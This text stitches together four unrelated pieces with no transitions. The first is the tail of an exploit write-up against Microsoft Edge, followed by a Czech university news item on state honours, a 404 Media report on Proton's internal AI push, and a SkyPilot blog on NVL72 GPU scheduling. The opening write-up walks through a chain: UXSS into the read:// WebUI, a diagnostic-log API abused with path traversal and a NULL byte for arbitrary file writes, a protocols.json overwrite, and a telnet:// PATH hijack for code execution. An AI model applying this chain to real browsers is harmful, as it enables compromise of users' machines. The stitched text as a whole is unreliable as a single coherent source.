Basically, Chromium has put every privileged WebUI you can think of on the not_allowing_javascript_urls_schemes blacklist. So at that point, I still got stuck for a long while. 😖

Arbitrary File Write via Immersive Reader

However, as we continued exploring Microsoft Edge, we found that Edge had its own Reading Mode called Immersive Reader. And unlike Chrome’s built-in Reading Mode, Immersive Reader seems to have been forked from Chromium early on, with Microsoft building on top of it. So instead of the old chrome-distiller:// or the blacklisted chrome-untrusted://, Edge uses a custom read:// scheme. And Microsoft seems to have forgotten to add this scheme to the blacklist as well, so our UXSS works on this privileged WebUI :)

Starting from this privileged WebUI, we can access lots of native C++ objects through JavaScript. And one of them called chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles() looked particularly interesting to me. We tried it out, and found that the function takes two parameters, a filename and a JSON string:

↓ We ran this on read://https_orange.tw/?url=https://orange.tw

chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
    'LOL.ZIP', 
    '{
        "logFiles": {
            "ORANGE": "AAAAAAAA"
        }, 
        "deviceInfo": {1337: 1337}
    }'
)

While playing with it, we observed that Microsoft Edge would first create a temporary folder and write AAAAAAAA to the file ORANGE.json. It would then pack the whole folder into LOL.ZIP, upload it to a Microsoft server, and clean everything up afterward. Of course, you’d want to try ../… Yes, it does let you escape the temporary folder. But that .json extension is still a bit annoying. Maybe you’re also wondering if a NULL Byte could get rid of it… Of course it can! So now we have an arbitrary file write that can control both the filename and the content, and we can overwrite any file anywhere we want!

Thank you again and again, Microsoft!

Overwriting protocols.json to Auto-Launch Protocol Handlers

Now, we’ve got almost all the pieces. The last step is figuring out how to turn a browser-level arbitrary file write into ACE to complete the chain. We observed that Microsoft Edge would do some interesting side-loading while initializing, such as reading a bunch of config files or loading DLLs from a writable folder.

So the DLL side-loading sounds juicy. However, since our file write is wrapped in JSON, the content has to be a valid UTF-8 string. And because Microsoft Edge is a 64-bit process, we’d have to drop a 64-bit DLL, too. After spending some time working on this, we found that we couldn’t construct a valid 64-bit PE header that met the UTF-8 requirement in any case, so we gave up on DLL side-loading.

We ended up solving this in a less obvious way. We found that besides OneAuth, Edge also loads a bunch of components while initializing, and one of them is “AutoLaunchProtocolsComponent”. The component would read a configuration file called protocols.json from a folder we can write to, and that file defines which origins are allowed to launch which URL protocol handlers. So by overwriting the file, we can launch any protocol handler from any origin.

↓ Path: AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json

{
  "allow": [
    {
      "origins": [
        "https://.get.microsoft.com",
        "https://.apps.microsoft.com"
      ],
      "protocol": "ms-windows-store"
    },
    {
      "origins": [
        "https://.onedrive.com",
        "https://.onedrive.live.com",
        "https://sharepoint.com"
      ],
      "protocol": "ms-word"
    },
    // [...]
  ],
  "warn": [
    // [...]
  ],
  "block": [
    // [...]
  ]
}

As for how do we get Microsoft Edge to re-initialize? Just use our earlier browser-initiated navigation to jump to edge://restart! :)

From telnet:// to Code Execution!

Here we chose telnet:// to get code execution. On Windows, the telnet handler would try to invoke telnet.exe, but the binary isn’t shipped by default, so Windows goes looking for it in the directories listed in the PATH environment variable. And one of those directories just happens to be writable by us…

C:\WINDOWS\system32
C:\WINDOWS
C:\WINDOWS\System32\Wbem
C:\WINDOWS\System32\WindowsPowerShell\v1.0
C:\WINDOWS\System32\OpenSSH
C:\Users\lowpriv\AppData\Local\Microsoft\WindowsApps    # <--- it's writable for `lowpriv`...

So by simply dropping a modified protocols.json and a 32-bit tiny PE, we got ACE. The whole exploit is less than 100 lines of code. The restart isn’t really necessary in a real attack, only for Pwn2Own. Let’s check out the demo! 🔥

Final Thoughts

From zero experience with modern browser exploitation to completing the full chain, the whole research took me two full months, with no LLMs/AI involved at all. But why, you might ask? Perhaps because it sounds cool, or maybe it was also just good timing — I only started using coding agents like Codex and Claude Code around March this year, and by then, I’d already found all the bugs and done the hard part ¯\_(ツ)_/¯

So what’s the hard part? For memory corruption, it’s often the exploitation. But we’re playing with logic bugs, where the hard part is finding them, and once you find them all, chaining is the easiest part. So that’s also why I kept the whole exploit AI-free.

Apart from that, I also see the UXSS primitive as a new attack surface, and agree that in the AI era, “Attack Surface is the new 0day“. I wanted to explore this gold mine more before sharing it with the AI giants. That’s another reason why I decided not to use AI on this chain.

Of course, I’m not some old-fashioned guy who refuses to try new things, either. Outside of this chain, I’m also tokenmaxxing and addicted to AI. I believe once you’ve tasted how convenient LLMs are, no one would want to go back to hunting bugs by hand. That’s also the future, I think.

I’m also not that afraid of being replaced by AI. I’d rather say it’s precisely because of AI, I finally have enough time to finish all the cool stuff that’s been sitting on my TODO list… like the Windows RCE I just reported, flipping the chain to pop Microsoft Edge from calc.exe, or porting this logic-only full chain to Google Chrome (almost there ><). I’ll also show some progress at CODE BLUE in Japan next month. Stay tuned! 😉

So instead of worrying about how low the bar for vuln research can go, why not get excited about how high AI can take us? What fun can we have, what even cooler hacks can we build, and what impossible things can we make happen…?

Never Stop Exploiting!

Among the personalities honoured by the President of the Czech Republic on the occasion of the national holiday on 28 October this year are two graduates of Brno University of Technology. Tomáš Mikolov, a renowned expert in artificial intelligence, and Filip Maleňák, creator of the Záchranka mobile app, received state honors for their outstanding contributions to science, research and technology.

The President awarded state honors. | Author: Jan Handrejch, Novinky

The traditional state decoration ceremony took place on 28 October in the Vladislav Hall at Prague Castle. On this occasion, the President of the Czech Republic honoured individuals who have made significant contributions to the development of society, science, culture and other areas of public life. Among the recipients were two graduates of Brno University of Technology, whose professional careers demonstrate how technological innovations can push the boundaries of scientific knowledge, contribute to the development of society and find practical applications in everyday life.

Technology That Helps Save Lives

Entrepreneur and developer Filip Maleňák, a graduate of the Faculty of Electrical Engineering and Communication at BUT, is the creator of the Záchranka mobile app. His project demonstrates how combining information technology with the practical needs of emergency services can provide tangible assistance to people in crisis situations.

Filip Maleňák. | Author: Kateřina Šulová, ČTK

The Záchranka app enables users to quickly contact emergency medical services and share their precise location. It also helps in situations where a person is unable to speak and provides rescuers with important information that can facilitate and speed up emergency assistance. In addition, users can locate the nearest automated external defibrillator through the app.

Over time, the app has become an important tool for communication between the public and emergency services. Dozens of people use it to call for help every day, and in numerous cases, it has contributed to faster emergency response times or more effective first aid.

In recognition of his work, he was awarded the Medal of Merit by the President of the Czech Republic for his contributions to the state in the field of technology.

A Pioneer in Artificial Intelligence and Language Models

Scientist Tomáš Mikolov, a graduate of the Faculty of Information Technology at BUT, is an internationally recognised expert in artificial intelligence and machine learning. He is best known for his contributions to the development of natural language processing technologies and as one of the creators of the Word2Vec method, which makes it possible to represent words as mathematical vectors and thus capture relationships between their meanings. This approach has become one of the important foundations for the development of modern language models and technologies that underpin many of today's artificial intelligence tools.

Tomáš Mikolov. | Author: Blesk, foto: CNC/Karel Kopac

Alongside his scientific work, Mikolov is also involved in entrepreneurship. Through his company BottleCap AI, he focuses on developing more efficient language models. His scientific achievements have earned him several prestigious awards, including the Neuron Award.

In recognition of his work, he was awarded the Medal of Merit by the President of the Czech Republic for his contributions to the state in the field of science.

The recognition of Tomáš Mikolov and Filip Maleňák also highlights the importance of technical education and its connection to practical applications. Although the two graduates have pursued different career paths, they share the ability to transform expertise and innovative ideas into technologies with a real-world impact.

A complete list of all 51 recipients of state honors is available here.

Proton CEO Andy Yen projects a calm persona and rails against Big Tech and critiques AI. Internally, he is pushing engineers to build Proton with AI, even when they have security concerns.

Photo by Piaras Ó Mídheach/Web Summit via Sportsfile via Wikimedia Commons / Proton logo / Collage via 404 Media and Spumoni Cooperative.

Andy Yen, the CEO of Proton, had a message for an employee in the company’s security Slack channel who urged the company to at least take a few days to pentest newly written code before pushing it live. “That’s bullshit and loser thinking. Of course it’s possible to be fast and secure,” Yen wrote in the channel at the end of August. “Stop thinking always of how to be slower, and focus more on how to be faster.”

In a follow-up message, Yen reiterated his point: “only losers think like that.” His ultimate message for the team was to “stop lovingly handcrafting all our code and use AI more.”

That exchange was just one of many that showed how Yen and other company executives are aggressively pushing Proton towards AI. Proton is a Swiss company that famously makes the encrypted email service Proton Mail and a suite of privacy and security-focused products, including an encrypted drive service, an authenticator app, a password manager, and more.

In the last few months, Yen set up an email address for employees to contact if they come across anything blocking adoption of AI at Proton, so leadership can “ruthlessly smash everything that stands in the way of AI velocity;” Proton installed software on workers’ computers that track how much AI code the company is generating; and Yen said this is the last year that Proton will hire engineers at all, and instead only hire people to build things with AI.

That AI push came to head this week when 404 Media reported Proton said it would re-interview staff about their use of AI, with the clear implication that those interviews, and employees’ willingness to embrace AI, could decide whether a worker is fired or not.

404 Media spoke to eight current and one former Proton employees and reviewed Slack chats, meeting recordings, and an AI manifesto written by the company’s CTO. Our reporting reveals a culture of fear inside Proton, where many employees are hesitant to even mildly critique Yen’s views or discuss engineering problems. Workers describe an environment where employees have genuine concerns about security or being asked to develop security products with AI, but feel unable to voice them, lest Yen berates them in front of everyone or threatens their employment at the company.

“The CEO is in full AI psychosis and has been for a while now,” one of the sources told 404 Media.

Our reporting also paints a picture of Proton that is likely very different to the public’s perception of a company with a goal of carefully protecting privacy: one that in reality is barreling ahead with AI as quickly as possible so it can achieve the explicit goal of more annual revenue.

“Due to insufficient velocity,” Proton is not on track to achieve its annual recurring revenue target by the end of the year, one internal document obtained by 404 Media reads. Proton’s year-over-year growth is also “far away from what the market today considers to be good,” and, “By all metrics that matter, we’re an underperforming company.”

In response to detailed questions from 404 Media, a Proton spokesperson did not dispute any of our reporting or characterization of what’s happening inside of the company. 

“It’s clear that some people at Proton are unhappy with our direction, or misunderstand it, and many people are anxious,” they said. “In our determination to move fast, we have sometimes been too blunt or too slow in explaining ourselves to our people. We will work on that, as their questions are the ones we most need to answer.”

💡

Do you know anything else about Proton? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co.

Yen, a former CERN particle physicist, projects a measured approach in public, but internally he acts more like what one employee described as a “petulant child.” In May, Proton announced it was implementing post-quantum cryptography which should protect against future attacks from quantum computers. The work took years of effort, with one caveat that it would not work on older emails, only those written after the feature’s launch, at least for the moment. Yen was not happy that Proton was drawing attention to this limitation.

In a Slack channel dedicated to thanking people for their work, Yen jumped in. “Get it fixed,” he wrote, referring to Proton’s Reddit post announcing the feature. “Now Reddit is pissed and we look worse than Tuta,” he added, referring to a Proton competitor. When employees explained to Yen the nuances of the encryption and why that was not immediately possible, Yen wrote, “I find this whole thing stupid. You cannot announce this in this way.”

“Now we are left with two shitty choices. Deprioritize more important tasks for the business to re-encrypt old emails, or constantly get attacked online for not doing it. So maybe you can enlighten me on which of the two shitty choices we will take,” he wrote. “In the future there are two options. Either you guys are confident enough to not fuck this up, or you get my advice to make sure it is not fucked up,” he added. He then told a member of the team that made it to “go on Reddit.”

“So go on there with your personal account and comment to set the record straight,” he wrote. “Perception is more important than truth, the truth doesn’t matter if you don’t win on perception.”

One employee told 404 Media, “Whatever persona Andy [Yen] has out of Proton, he’s a straight up bully inside. He routinely breaks his little facade in Slack and calls people losers and stupid, often for stuff he’s paying them for.”

Ever since launching Proton Mail in 2014 after the Snowden revelations, Proton has steadily introduced new products that make Proton more of a worksuite than a simple email provider. More recently, those products were focused around AI, with the launch of Lumo, a large language model (LLM) chatbot that the company says doesn’t log conversations or train on user data. In June, Proton launched a 2.0 version of its chatbot.

Up until this point, Yen’s public comments on AI were relatively tame. In an August interview with WIRED, he said Proton is “building AI features and AI tools, because I think if the privacy companies do not find a way to step in to build privacy-first AI, we are essentially ceding the future to tech companies that don’t have the best interests of users at heart,” and that the company was “capitalizing” on the backlash to corporatized, invasive AI from companies like Google. Last year, Yen and Proton were criticized for statements he made suggesting the Republican Party and Donald Trump would be harder on Big Tech than Democrats. 

Toward the end of August, Yen’s internal tone on AI shifted to having Proton use it as much as possible, and as quickly as possible, according to the Slack chats and multiple employees.

“The train is coming, get onboard or get crushed. Don’t be the professional fax machine operator in the internet age,” he wrote to the security Slack channel. “I think by the end of this year most developers stop programming and start writing specs for tests that AI will code and run, to validate AI written code that humans will no longer be able to review. This will be the last year that we hire engineers, and starting next year we hire what we used to call product managers, to build things with AI.”

AI is changing how cybersecurity works, with AI agents hacking into companies, and AI assisting in the discovery of gaping vulnerabilities in important code. Many companies across the privacy and security space are grappling with how to deal with AI, either in the development of their products or how to defend themselves against hackers who are using AI. Some may do this carefully. Others are trying to do it as quickly as possible for profit. This account of Proton’s own reckoning with AI provides an unprecedented insight into what is happening inside one security-focused company users especially trust. 

Initially, using AI was banned inside Proton, but the company has since approved AI for all sorts of use cases internally, including processing financial data, drafting customer-facing responses on Reddit and LinkedIn, and writing code “except when that source code contains information that would give immediate advantage to a competitor” or is related to “innovation or R&D [research and development],” according to an internal Proton document seen by 404 Media. Ninety percent of code at Proton in October was written by AI, the company’s CTO Bart Butler said in a meeting, according to audio 404 Media obtained. Much of that code is written with Anthropic’s Claude, multiple employees told 404 Media. And Yen tells employees in Slack chats to use Claude, too. 

“We are a tech company against Big Tech who are spending loads on Claude,” one employee told 404 Media.

In the “bullshit and loser thinking” conversation, another employee pushed Yen for specifics on ensuring that AI-generated code was free of security issues. “AI won’t magically solve our problems, because security is low in our prioritization at present,” the engineer said. Yen didn’t respond directly, and went on to insult one of the other employees in front of the entire channel. The employee “is saying his usual bs of we can do it but we will be even slower than we are today and I’m saying only losers think like that,” Yen wrote, adding that workers should prompt “better.”

“You have the models and the time every developer should be doing this and checking their code which they were doing before manually but now they can do faster with AI,” Yen added. (One employee stressed that engineers still strive to build in a secure way.) 

The second clear signal that Proton was going deep into AI for many employees happened when Butler, the CTO, published a self-described AI manifesto one Friday afternoon last month.

“Your old job is gone,” the manifesto, posted to Slack, told engineers. It laid out a future for Proton that fully embraced AI, and said if the company did not do so, that posed an “existential threat to the success of the mission itself.”

Butler said that Proton needs to change in three key ways: accept that an engineers’ job is now to help LLMs write better code, faster; that Proton needs to get to the point where most code is not reviewed by humans but by AI; and to more fundamentally change the company as a whole, and “commit, as an organization, to the transformation that the moment requires.”

Butler's AI manifesto, which 404 Media retyped.

One Proton employee replied in Slack, “Perhaps scaring people with: We are in a new world. ‘Programming’ is dead [...] your old job is gone wasn’t really necessary on a Friday afternoon.”

Butler replied, “It’s supposed to be provocative, because it needs to be. I suggest you read it, think about it over the weekend, and come with your questions to me on Monday rather than on Slack. Thanks!”

An employee told 404 Media, “​​People were surprised and somewhat cringed out, since the document clearly exaggerates what you can do with LLMs today and doesn't address any of the problems you get in return for giving up your code base to the AI Jesus (e.g. AI cannot really maintain a large code base over time).” Another called it “ethically bankrupt.”

Earlier this week, Proton sent the email to employees saying they would re-interview workers about how they use AI in their jobs. The tone was clear; you may lose your job because of these interviews, current employees told 404 Media. “These re-interviews are consequential,” the email read. Soon after, a senior employee spoke up in Slack to Yen about the re-interviewing process. He suggested instead that Proton detect who is falling behind and support them and enforce high quality training.

Yen’s response was blunt: “Let’s put it this way, we already know more or less who is behind. If we were giving up on them, we would not bother with this process.”

The employee replied, “That messaging is fear-based. Which is probably why I suspect there are dozens of other employees watching us talk about this live and except for [other employee] no one else is chiming in.”

“People shouldn’t be scared to talk about this in public and to push back on you and leadership. A fear based culture feels like a cancer to me. It’s the opposite of engineering, you need to talk about things, even uncomfortable things,” they added. Yen eventually told the employee, in front of everyone: “If you are making the accusation that this is a financially driven decision and you don’t trust me when I tell you it’s not, then I think this might not be the place for you.”

Image: Sipa USA via AP.

Only one other employee chimed in during that exchange: “It’s about the culture you instil, people don’t want to feel like they’re on a tightrope, and yes we understand you want to move fast but there needs to be a balance, people also need support, not everyone is the same.”

“It was also faster for my parents to beat me until I ate my vegetables but I’m not sure it was healthy,” they added.

The exchange with Yen was unusual not only in that someone was debating some of Yen’s ideas, but also that it directly referenced the culture of fear at Proton. “Whenever someone talks back to Andy it tends to be highlighted since very few people talk back to him,” one employee told 404 Media.

NVL72 puts all 72 GPUs in a rack on one NVLink fabric, but only rack-local jobs get the speedup. How SkyPilot keeps multi-node training and inference on NVLink with topology-aware placement, in-place recovery from GPU failures, and automatic defragmentation.

Not all high-speed interconnects are created equal, and using the wrong one can be quite costly: running the same distributed training job over InfiniBand rather than NVLink can degrade performance by 43%.

Historically, NVLink was limited to communication within a single node, meaning that multi-node AI workloads were forced to communicate over InfiniBand or a cloud equivalent (EFA on AWS, GPUDirect-TCPX on GCP). NVIDIA’s NVL72 systems remove this limitation by connecting all 72 GPUs in a rack with a unified NVLink fabric, so GPUs on different nodes can exchange data with an order of magnitude more bandwidth.

However, maximizing the benefits of NVL72 systems is highly dependent on workload placement: a multi-node job spread across racks is still bottlenecked by InfiniBand. Preserving rack-locality gets harder as hardware failures take nodes offline and jobs finishing at different times scatter free capacity across racks.

This blog covers the communication bottleneck in large-scale training and inference, the NVL72 rack-scale fabric, and slice sizing for resilience to GPU failures, as well as how the SkyPilot Platform keeps multi-node jobs rack-local through topology-aware placement, in-place recovery from hardware failures, and automatic defragmentation of shared clusters.

Training at scale is a communication problem #

Frontier training jobs run across thousands of GPUs. Doing so requires answering two questions:

1. How do you shard your model across GPUs to ensure that it can actually run?
2. Given your compute budget, how many copies of the sharded model can you run to maximize training throughput?

The first question is typically answered with a combination of:

• Tensor Parallelism (TP): splitting a layer’s weight matrices across GPUs
• Expert Parallelism (EP): placing a mixture-of-experts (MoE) layer’s experts on different GPUs
• Pipeline Parallelism (PP): splitting a model layer-wise across GPUs

The answer to the second question sets the degree of Data Parallelism (DP): the number of copies of the sharded model that train in parallel, each on a different slice of the training data.

Of these parallelism strategies, tensor parallelism’s all-reduce and expert parallelism’s all-to-all communication patterns sit on the critical path during training, making them the most important to keep on NVLink (§9.1.2).

Tensor Parallelism

Tensor parallelism splits the weight matrices inside each layer across GPUs, so every GPU only stores and computes a slice of each layer.

Transformer layers are made up of two blocks: self-attention and a multi-layer perceptron (MLP). At its core, each block is two matrix multiplications (GEMMs) in a row. Megatron-LM (§3) showed that by partitioning a block’s first GEMM column-wise and its second GEMM row-wise, the GPUs only need to synchronize via all-reduce once per block, after the second GEMM, instead of after each one.

Figure 1. Tensor parallelism across two GPUs. A is split column-wise, so each GPU computes its own slice of y without communicating. B is split row-wise to match, so each GPU produces a partial z, and one all-reduce sums the partial results.

Even with this optimization, tensor parallelism still requires two all-reduces per transformer layer during the forward pass. These all-reduce steps sit on the critical path during training because they cannot be fully overlapped with computation. As a result, tensor parallelism is typically kept on NVLink: Hugging Face measured a 43% drop in training throughput when it moved off NVLink onto InfiniBand.

Expert Parallelism

In a mixture-of-experts (MoE) layer, the MLP block is replaced by many smaller MLPs, called experts, and a router that sends each token to a small subset of experts. Expert parallelism splits MoE layers such that these small, independent experts are placed on different GPUs.

Under expert parallelism, each MoE layer requires two all-to-all communication steps during the forward pass, dispatch and combine. A router selects the top-k experts for each token and dispatches tokens to the GPUs that have those experts in memory. Each GPU then computes its local experts on the tokens it received via a single grouped matrix multiplication. Finally, the expert outputs are sent back to each token's original GPU and combined.

Figure 2. Expert parallelism distributes experts across GPUs. The all-to-all communication dispatches tokens to their assigned experts and combines results. (Source: NVIDIA, Figure 4.)

As models add more MoE layers and route each token to more experts, the volume of all-to-all traffic grows, introducing a communication bottleneck.

Training an MoE model with 64-way expert parallelism spreads each MoE layer’s experts across 64 GPUs. On standard 8-GPU servers, that moves the all-to-all traffic off high-bandwidth NVLink and through much narrower InfiniBand interconnects where unoptimized communication can consume up to 60% of training time (§1.2). On NVL72 systems, all 64 GPUs stay within a single NVLink domain, effectively eliminating the communication bottleneck (§9.2.2).

Inference needs fast inter-node networking too #

The parallelism techniques discussed above are not unique to training. Beyond enabling inference engines to serve models that are too large for a single GPU, model parallelism can also improve throughput. Splitting a model's weights across more GPUs frees up memory for the KV cache, so the engine can process more concurrent requests or support larger context windows. In some cases, the freed memory grows faster than the number of GPUs: in one vLLM benchmark, splitting a model tensor-parallel across two GPUs increased the amount of KV cache blocks by 13.9x and delivered 3.9x more throughput.

Figure 3. GPU memory breakdown for Llama-3.1-70B on one vs. two H100s. (Data: vLLM.)

Expert parallelism follows the same logic. With a low degree of expert parallelism, each GPU holds many experts, leaving less room for the KV cache. WideEP, which refers to expert-parallel configurations spanning multiple nodes, significantly reduces the number of experts per GPU. The trade-off is network traffic: every all-to-all now spans more GPUs. On standard 8-GPU servers, an expert-parallel group can span at most eight GPUs before it has to communicate over InfiniBand, where per-GPU bandwidth drops 18x. NVL72 removes this limit by keeping all 72 GPUs in a rack on NVLink. When serving DeepSeek-R1 at interactive speeds, GB200 NVL72 with 32-way expert parallelism delivers up to 4.4x higher throughput per GPU than 8-GPU B200 servers, which are capped at 8-way.

The rack is the new server #

NVL72 extends NVLink from a single node to the entire rack, so the whole rack acts like a gigantic accelerator with shared memory.

Figure 4. The NVLink hierarchy within an NVL72 rack. (Source: NVIDIA, Figure 1.)

Every GPU on the NVL72 rack has 18 NVLink ports each delivering 100 GB/s of bidirectional bandwidth, which sums up to a total of 1.8 TB/s for each GPU. Each NVLink port on a given GPU maps to one of 18 NVSwitch chips that power the rack's fabric backplane. Because each NVSwitch chip accepts 72 NVLink lines, one from each of the GPUs, the aggregate internal bandwidth within the rack is 130 TB/s.

Figure 5. Each GPU connects one NVLink port to each of the rack's 18 NVSwitch chips. (Source: NADDOD.)

This network topology ensures that the fabric is fully non-blocking, meaning that any GPU in the rack can transmit data to any other GPU with uniform latency, making it ideal for large-scale distributed AI workloads.

An NVL72 rack next to its non-blocking NVSwitch fabric, which connects every GPU in the rack

Figure 6. The NVSwitch fabric is fully non-blocking. Any GPU can communicate with any other GPU in the rack at full bandwidth with the same latency. (Source: NVIDIA, Figure 1)

Sometimes less is more: using less nodes in each rack significantly improves reliability #

With NVL72 systems, it is tempting to allocate entire 18-node racks to workloads to maximize cluster utilization. In practice, teams actually get more usable capacity out of their cluster by leaving a couple of spare nodes in each rack.

GPUs are unreliable. On its gigawatt-scale supercluster, Meta measured a mean time between interruptions (MTBI) of roughly 490 days per 4-GPU node after putting significant engineering effort into improving reliability. NVL72 clusters make the 72-GPU rack the atomic unit of compute, which increases the fault blast radius by 18x compared to the 4-GPU nodes that make up the rack. The MTBI for the rack is given by:

Based on the formula above, a rack would be interrupted roughly every 490 / 18 ≈ 27 days. If jobs are allocated entire 18-node racks, each of those interruptions makes the entire rack unschedulable until the failed node is repaired. On a 128-rack cluster, this means that a rack would become unusable for full-rack jobs roughly every 5 hours.

Reserving two nodes per rack as spares changes this. When a node fails, a spare in the same rack replaces it, so a single node failure no longer takes the entire rack out of commission. The cost is that two nodes per rack sit idle while everything is healthy.

To quantify this trade-off, NVIDIA modeled how different slice sizes affect usable capacity on a 128-rack (2,304-node) cluster as the share of unavailable nodes grows.

Chart of usable capacity of a 128-rack cluster versus node unavailability for 8, 9, 16 and 18-node slices

Figure 7. Usable capacity of a 128-rack cluster for different slice sizes as node unavailability increases. Each slice must fit within a single rack. (Adapted from NVIDIA, Figure 6.)

At SkyPilot, we manage tens of thousands of our customers’ GPUs, and on production NVL72 clusters we have measured unavailability rates of around 2%. At that rate, NVIDIA’s model shows that 16-node slices provide 27% more usable capacity than 18-node slices (2,037 vs. 1,602 nodes). They also beat 9-node slices by 4%, even though two 9-node slices fill a rack exactly: with 9-node slices, every failure costs half a rack, while with 16-node slices, the first two failures in a rack are fully absorbed. Compared with 8-node slices, 16-node slices give each job twice as many GPUs per NVLink domain while giving up less than 1% of usable capacity until node unavailability exceeds about 3.3%.

Sixteen nodes is also a natural size for distributed AI workloads: 64 GPUs is a power of two, which matches how parallelism groups are typically sized.

How a modern scheduler keeps jobs on NVLink #

So far, we have covered why the most communication-heavy parallelism techniques belong on NVLink, how NVL72 extends NVLink from a single node to the whole rack, and why 16-node slices with two spare nodes per rack get the most usable capacity out of production clusters. SkyPilot puts this into practice by placing each slice on a single rack, recovering from hardware failures in-place, and keeping whole racks free as jobs come and go.

Schedulers need to understand the hardware

Choosing the right slice size is only the first step. How do researchers ensure that each slice of a multi-node training run actually lands on a single rack?

Naive schedulers split multi-node jobs across racks, forcing workers to communicate over InfiniBand (400 Gb/s per direction) instead of NVLink (1.8 TB/s bidirectional):

Animated diagram: a naive scheduler places hero-run on free nodes in two racks, so its traffic crosses InfiniBand

Figure 8. Naive placement splits a multi-node job across racks.

SkyPilot’s Topology-Aware Scheduler (TAS) ensures that workers are colocated on the same rack:

Animated diagram: SkyPilot's Topology-Aware Scheduler places all of hero-run's nodes on a single rack

Figure 9. SkyPilot's Topology-Aware Scheduler keeps the job's workers on a single rack.

For multi-rack workloads, TAS splits the job into 16-node (configurable) slices, and places them each on their own rack with two spare nodes. Then, when SkyPilot’s GPU Manager detects GPU failures, SkyPilot Frontier Trainer can hot swap the faulty node with one of the reserved healthy nodes while the remaining nodes continue running without interruption. If there are no remaining spares in the same rack, Frontier Trainer will reschedule the slice on the faulty rack to a healthy rack:

Animated diagram: hero-run runs as two 16-node slices with two spare nodes per rack; failed nodes are swapped for spares, then the slice moves to an idle rack

Figure 10. Slice-based scheduling holds two healthy spare nodes in each rack. When GPU Manager detects a failed node, Frontier Trainer swaps the faulty node for a spare in the same rack.

To quantify the impact of slice-based scheduling, NVIDIA’s GR00T team compared the effect of two different scheduling policies during pre-training of GR00T N1.7, a multimodal foundation model for humanoid robots, on 512 GB300 GPUs across 128 nodes. The first run used a naive scheduler that placed nodes across an arbitrary number of racks. The second run was scheduled with a rack-aware, slice-based policy like the one in Figure 10, which placed it on exactly 8 racks. Rack-aware placement raised throughput by 14.4%, cutting each iteration from 1.59 s to 1.39 s.

On a 10,000-GPU cluster, the same speedup saves roughly $16.7K per training hour. That’s about $400K saved for every training day, just by making better scheduling decisions.

Fragmentation blocks rack-scale jobs

In practice, large clusters are shared: heterogeneous workloads such as pre-training runs, RL rollouts, and batch inference all compete for the same resources. TAS bin packs workloads within the same rack at scheduling time, but jobs finish at different times, leaving free nodes scattered across racks. This is fragmentation: the cluster has enough free GPUs to run a rack-scale job, but because they’re spread across racks, the job can’t be scheduled.

Animated diagram: free nodes are split across two racks, so the 16-node hero-run waits in the queue

Figure 11. Jobs finish at different times, leaving free nodes split across racks. With 16 nodes free but split between the two racks, the 16-node hero-run cannot be placed and waits.

SkyPilot’s Automatic Defragmentation (Auto Defrag) is built to address this. When a job is blocked by topology rather than capacity, Auto Defrag finds the least disruptive set of workloads to preempt to free up an entire rack. Those workloads are rescheduled on other racks, allowing the blocked job to be scheduled.

Animated diagram: Auto Defrag moves sft-d to rack-a, freeing rack-b for the 16-node hero-run

Figure 12. Auto Defrag preempts sft-d and reschedules it in rack-a, where it resumes from checkpoint. This frees up rack-b, so hero-run can be scheduled as a single 16-node slice.

Auto Defrag only preempts workloads that restart safely, such as managed jobs that resume from a checkpoint. Interactive development environments are left alone unless an admin explicitly opts them in.

Conclusion #

Large-scale AI workloads are distributed by default, and their most network-intensive communication patterns sit on the critical path. Rack-scale systems like NVL72 aim to address this bottleneck in hardware, but the hardware alone doesn't guarantee the speedup. These systems require rack-aware placement, resilience to hardware failures, and dynamic rebalancing as jobs come and go. The SkyPilot Platform is purpose-built to close that gap: Topology-Aware Scheduling keeps multi-node jobs on NVLink, Frontier Trainer swaps in a healthy spare when GPU Manager detects hardware failures, and Automatic Defragmentation keeps shared racks open for large jobs. If you're wrangling NVL72 clusters, we'd love to chat.